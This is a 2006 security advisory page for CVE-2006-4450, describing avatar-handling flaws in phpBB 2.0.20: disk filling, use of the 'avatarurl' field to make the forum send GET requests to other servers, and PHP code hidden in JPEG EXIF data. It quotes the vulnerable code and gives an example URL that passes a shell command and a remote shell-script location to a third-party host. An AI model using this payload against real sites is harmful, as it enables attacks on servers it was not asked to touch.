SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

PHPBB 2.0.20 persistent issues with avatars


Arrow  SecurityAlert : 1470
Arrow  CVE : CVE-2006-4450
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : rgod
Arrow  Published : 31.08.2006

Arrow  Affected Software : PHPBB 2.0.20



Arrow  Advisory Content :  

PHPBB 2.0.20 multiple issues with avatars

some problems persistently lie in the way it handles remote and uploaded
avatars:

a remote user can:
 
(1) saturate the server with unuseful files, 'cause phpbb do not delete
the previous one when you upload a new avatar

(2) use PhpBB installations to launch exploits against other servers,
using "avatarurl" argument when you modify your profile as path
of a GET request.

Look usercp_avatar.php near lines 125-153:
...
if ( $avatar_mode == 'remote' &&
preg_match('/^(http://)?([w-.]+):?([0-9]*)/(.*)$/', $avatar_filename,
$url_ary) )
        {
                if ( empty($url_ary[4]) )
                {
                        $error = true;
                        $error_msg = ( !empty($error_msg) ) ? $error_msg .
'<br />' . $lang['Incomplete_URL'] : $lang['Incomplete_URL'];
                        return;
                }

                $base_get = '/' . $url_ary[4];
                $port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80;

                if ( !($fsock = <img src="/imgs/at.gif" border=0
align=middle>fsockopen($url_ary[2], $port, $errno, $errstr)) )
                {
                        $error = true;
                        $error_msg = ( !empty($error_msg) ) ? $error_msg .
'<br />' . $lang['No_connection_URL'] : $lang['No_connection_URL'];
                        return;
                }

                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock,
"GET $base_get HTTP/1.1rn");
                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock,
"HOST: " . $url_ary[2] . "rn");
                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock,
"Connection: closernrn");

                unset($avatar_data);
                while( !<img src="/imgs/at.gif" border=0
align=middle>feof($fsock) )
                {
                        $avatar_data .= <img src="/imgs/at.gif" border=0
align=middle>fread($fsock, $board_config['avatar_filesize']);
                }
                <img src="/imgs/at.gif" border=0
align=middle>fclose($fsock);
...

phpbb do not check if the user supplied value ends with an image extension,
neither
checks if the supplied string contains "&" and "?" chars. So, you can
submit a value
like this:

http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://somehost
/someshell.txt

phpbb will launch a GET request like this:

GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt
HTTP/1.0
HOST: some_vulnerable.host
Connection: close
 
obviously you have no output, but this makes phpbb to be like a http proxy

(3) inject some php code inside jpeg files as EXIF metadata content:
this, in combinations with third party vulnerable code can be used
to compromise the server where PHP is installed.
Should be enough to check for php code inside the temporary files
before to copy the new avatar in "images/avatars/" folder.

rgod
---------------------------------------------------------------------------
------
mail: rgod [at] autistici [dot] org
site: http://retrogod.altervista.org





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.